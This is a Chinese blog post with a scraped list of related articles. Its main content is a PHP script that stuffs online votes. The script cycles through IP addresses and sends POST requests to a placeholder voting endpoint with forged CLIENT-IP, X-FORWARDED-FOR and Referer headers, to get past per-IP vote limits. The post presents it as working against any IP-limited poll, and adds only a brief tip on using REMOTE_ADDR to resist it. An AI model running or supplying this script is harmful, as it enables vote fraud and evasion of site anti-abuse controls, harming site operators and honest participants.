<?php
$ip = $_GET['ip'] ? $_GET['ip'] : '1.1.1.1';
$ipArr = explode(".", $ip);
$ipArr[3] = $ipArr[3] + 1;
if ( $ipArr[3] > 254 )
{
$ipArr[3] = 1;
$ipArr[2] = $ipArr[2] + 1;
}
if ( $ipArr[2] > 254 )
{
$ipArr[2] = 1;
$ipArr[1] = $ipArr[1] + 1;
}
if ( $ipArr[1] > 254 )
{
$ipArr[1] = 1;
$ipArr[0] = $ipArr[0] + 1;
}
if ( $ipArr[0] > 254 )
{
exit();
}
$ip = implode(".", $ipArr);
// 此处设置投票的id
$post_data = 'vid=8'; // 投票的地址
$url = 'http://www.xxx.com/api.php?m=vote&a=voteto';
$user_agent = "Mozilla/4.0"; $headers['CLIENT-IP'] = $ip;
$headers['X-FORWARDED-FOR'] = $ip; $headerArr = array();
foreach ( $headers as $n => $v )
{
$headerArr[] = $n . ':' . $v;
} $ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HTTPHEADER, $headerArr); // 构造IP
curl_setopt($ch, CURLOPT_REFERER, "http://www.baidu.com/ "); // 构造来路
curl_setopt($ch, CURLOPT_HEADER, 1); curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data); ob_start();
curl_exec($ch);
$result = ob_get_contents();
ob_end_clean(); echo $result;
echo '<meta http-equiv="refresh" content="1;url=http://localhost/phpk/post.php?ip=' . $ip . '"> ';
?>

使用范围:所有限制ip地址的投票网站。投票数可到254*254*254*254。

如何防范该类刷票行为:

在获取客户端ip的时候优先使用:

$ip = getenv('REMOTE_ADDR');

用remote_addr可以有效控制模拟ip投票,除非使用代理才能绕过去,但是用web实现代理,速度就很慢了。

年关了,抛一个模拟ip刷票的php程序的更多相关文章

  1. 一个模拟时钟的时间选择器 ClockPicker

    最近开发的一个模拟时钟的时间选择器 ClockPicker,用于 Bootstrap,或者单独作为一个 jQuery 插件. 源代码托管在 GitHub 上: ClockPicker 最近项目中需要用 ...

  2. 使用curl模拟ip和来源进行网站采集的实现方法

    对于限制了ip和来源的网站,使用正常的采集方式是不行的.本文将介绍一种方法,使用php的curl类实现模拟ip和来源,实现采集限制ip和来源的网站. 1.设置页面限制ip和来源访问 server.ph ...

  3. 判断一个字符串是不是一个合法的IP地址

    最近在笔试的时候遇到碰一道算法题, 要求判断一个字符串是不是合法的ip地址. 将我的思路发出来分享一下,不一定正确,也不一定是最优的方法.希望能分享一些交流 要求用java或者c来实现,我的java代 ...

  4. curl模拟ip和来源进行网站采集的实现方法

    对于限制了ip和来源的网站,使用正常的采集方式是不行的.这里说我的一种方法吧,使用php的curl类实现模拟ip和来源,可以实现采集限制ip和来源的网站. 1.设置页面限制ip和来源访问比如服务端的s ...

  5. 请求一个域名ip的缓存用处

    前言 摘录自操作系统,这一段的内容很有启发,稍微加上自己的理解,写一篇博客记录一下. 缓存 缓存成功解决了速度不匹配设备之间的数据传输,并且在一般情况下,是整个系统的瓶颈:缓存的出现,有效减少了低速I ...

  6. PHP curl模拟ip和来源进行访问

    PHP curl模拟ip和来源进行访问<pre> public function moniurlqingqiu() { $ch = curl_init(); $curlurl = &quo ...

  7. 使用不同代理IP刷票的脚本---requests

    投票功能限制刷票是通过限制单个IP的投票次数实现的,所以写了个脚本用于测试此功能. #-*- coding=utf-8 -*- ''' 功能:此脚本用于用不同的IP刷票 作者:Elle 最后修改日期: ...

  8. 【Android初级】如何实现一个“模拟后台下载”的加载效果(附源码)

    在Android里面,后台的任务下载功能是非常常用的,比如在APP Store里面下载应用,下载应用时,需要跟用户进行交互,告诉用户当前正在下载以及下载完成等. 今天我将通过使用Android的原生控 ...

  9. 搭建QQ聊天通信的程序:(1)基于 networkcomms.net 创建一个WPF聊天客户端服务器应用程序 (1)

    搭建QQ聊天通信的程序:(1)基于 networkcomms.net 创建一个WPF聊天客户端服务器应用程序 原文地址(英文):http://www.networkcomms.net/creating ...

随机推荐

  1. ARC-100 E - Or Plus Max

    题面在这里! 我们如果可以求出 f[x] = max{ a[i] + a[j] , i!=j && i or j == x},那么就可以通过前缀max直接递推答案了. 但是这个玩意不是 ...

  2. 【混合背包】CDOJ1606 难喝的饮料

    #include<cstdio> #include<algorithm> using namespace std; int n,V,op[20010],c[20010],w[2 ...

  3. Android程序设计

    Android程序设计-1 要求安装 Android Stuidio 完成Hello World, 要求修改res目录中的内容,Hello World后要显示自己的学号,提交代码运行截图和码云Git链 ...

  4. 求n以内的质数的数量

  5. lib_chan库学习

    -module(lib_chan_cs). %% 实现服务器端结构和机制的模块 -export([start_raw_server/4, start_raw_client/3]). -export([ ...

  6. Activity(活动)生命周期--项目测试

    一.新建一个Activitylifetest项目,允许Android Studio帮我们自动创建活动和布局,并且勾选Luancher Activity来将创建的活动设置为主活动. 可以参考: http ...

  7. js阻止浏览器、元素的默认事件与js阻止事件冒泡、阻止事件流

    嵌套的div元素,如果父级和子元素都绑定了一些事件,那么在点击最内层子元素时可能会触发父级元素的事件,下面介绍一下js阻止默认事件与js阻止事件冒泡示例,大家参考使用吧   1. event.prev ...

  8. 几本推荐的Java书

    一.<深入理解Java虚拟机:JVM高级特性与最佳实践> 如果你不满足于做一个只会写if…else…的Java程序员,而是希望更进一步,我随便举几个例子吧: 1.了解Java代码的底层运行 ...

  9. NHibernate 集合映射基础(第四篇) - 一对一、 一对多、多对多小示例

    映射文件,用于告诉NHibernate数据库里的表.列于.Net程序中的类的关系.因此映射文件的配置非常重要. 一.一对一 NHibernate一对一关系的配置方式使用<one-to-one&g ...

  10. sqlite 增加字段语句

    ALTER TABLE `table1` ADD `AAAA` VARCHAR( 10 ) NOT NULL ; ALTER TABLE 'IPC_FGUID' ADD 'iPassageway' V ...